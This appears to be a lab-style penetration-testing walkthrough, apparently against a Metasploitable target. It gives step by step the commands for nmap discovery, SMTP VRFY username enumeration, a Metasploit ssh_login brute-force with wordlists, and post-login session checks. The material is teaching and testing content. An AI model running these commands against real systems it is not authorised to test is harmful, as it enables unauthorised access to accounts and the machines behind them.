SSH Brute-Force
SSH is generally secure due to its use of encryption, but its authentication layer can still be compromised through weak or reused passwords. This attack uses Metasploit's ssh_login module to systematically test username and password combinations against a target, gaining access whenever a valid credential pair is found. Before running the attack, wordlists containing candidate usernames and passwords should be prepared in advance.
Discovery
nmap -A -p- -T5 [target IP]
Description
Scans all ports with service versions and OS detection; SSH (22) is identified as open.
Enumeration
smtp-user-enum -M VRFY -U /usr/share/wordlists/fern-wifi/common.txt -t [target IP]
Description
Queries the SMTP server's VRFY command with each username in the wordlist, revealing which ones actually exist on the system — providing verified usernames to use in the SSH brute-force attempt instead of guessing blindly.
Attack
msfconsole
Description
Launches the Metasploit Framework console.
search ssh
Description
Searches for modules related to SSH.
use auxiliary/scanner/ssh/ssh_login
Description
Selects the SSH login brute-force scanner module.
show options
Description
Displays the required parameters for the module.
set rhosts [target IP]
Description
Sets the target's IP address.
set USER_FILE /usr/share/wordlists/sshusers.txt
Description
Verified usernames discovered via SMTP enumeration.
set PASS_FILE /usr/share/wordlists/sshpassword.txt
Description
Sets the wordlist file containing candidate passwords to try.
exploit
Description
Launches the brute-force attempt in the foreground, showing each username/password combination as it's tried.
Verification
sessions -l
Description
Lists active sessions.
sessions -i [id]
Description
Connects to the session opened with the discovered credentials.
whoami
Description
Confirms which user account and credentials were discovered — in this case, msfadmin rather than root.
uname -a
Description
Displays the target system's kernel information.
ls
Description
Confirms file access within the compromised account.
First Step
Before running this attack, verified usernames should be gathered instead of guessing blindly — see how to enumerate valid SMTP accounts here.
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.